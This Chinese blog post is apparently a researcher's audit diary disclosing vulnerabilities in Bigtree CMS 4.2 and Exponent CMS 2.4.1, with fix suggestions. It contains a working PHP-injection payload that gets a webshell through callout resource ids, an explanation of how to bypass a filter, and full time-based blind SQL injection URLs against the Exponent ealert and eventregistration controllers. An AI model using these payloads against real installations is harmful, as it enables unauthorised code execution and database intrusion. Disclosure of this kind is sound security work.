审计日记 |Bigtree cms 4.2 & exponent2.4.1

这几天工作抽闲审了两个cms,本来想水水cve的,发现都没过,看了下不是冲突,也不是不够格(这两个cms连xss都能算cve)。不过仔细想想,也对,我还是个新手,不能太急功近利了,那就更一下审计日志吧。

-------7月24日更|发现cve过了。。。真的是迟来的cve

Bigtree cms 4.2 

 Developer getwebshell:

 在 /core/inc/bigtree/admin.php line 662

createCallout()

line 698
 

把传入的resource数组的id键值 直接拼接到$file_contents中,如果经过恶意构造,即可拼接任意php语句,可以getwebshell。测试:添加resources,id为 */ phpinfo(); ?>/*

我们可以看到callouts目录下生成了test2.php然后创建一个分组编辑模板,加入callouts编辑一个页面,添加上面的callouts我们可以看到成功执行phpinfo()修改建议:对传入的resource进行过滤或waf拦截,或直接禁用掉注释符号。

后台sql注入

在/core/admin/auto-modules/process.php

line 77

接收用户post进来的tag

tags = _POST["_tags"];

然后如果是publish操作$tags被直接代入publishPendingItem函数接着被代入createItem 函数可以看到这里直接被拼接到sql语句中,可以进行盲注成功延迟5秒

修改建议:使用’配合自带的sqlescape进行防御

exponent2.4.1

 /framework/core/subsystems/database/mysqli.php

selectObject函数 line729

接受传进来的where经过injectProof的检查

直接拼接到sql语句上

/framework/core/subsystems/expDatabase.php

injectProof函数

line 1113

 function injectProof(string) { quotes = substr_count("'", string); if (quotes % 2 != 0)
string = this->escapeString(string); dquotes = substr_count('"', string); if (dquotes % 2 != 0)
string = this->escapeString(string); return string;
}

如果使用 \’’或\””就可绕过

/framework/modules/ealerts/controllers/ealertController.php

send_auto ()函数

line 111

 ealert = db->selectObject('expeAlerts','module="'.this->params['model']. '" AND src="'.src.'"');

构造model = payload即可http://172.16.91.142/exp/index.php?controller=ealert&action=send_auto&src=1&model=22\%22%22%20union%20select%201,2,3,4,5,6,7%20from%20dual%20where%20sleep(5)%23

成功延迟(此处这个模块需要管理员权限,即后台注入)

/framework/modules/ecommerce/controllers/eventregistrationController.php

eventregistration_process()

line 496 

同理,构造event中有payload,可进行前台注入http://172.16.91.142/exp/index.php?controller=eventregistration&action=eventregistration_process

还有其他调用点,就不列了。

  • 用支付宝打我
  • 用微信打我

发表评论

电子邮件地址不会被公开。 必填项已用*标注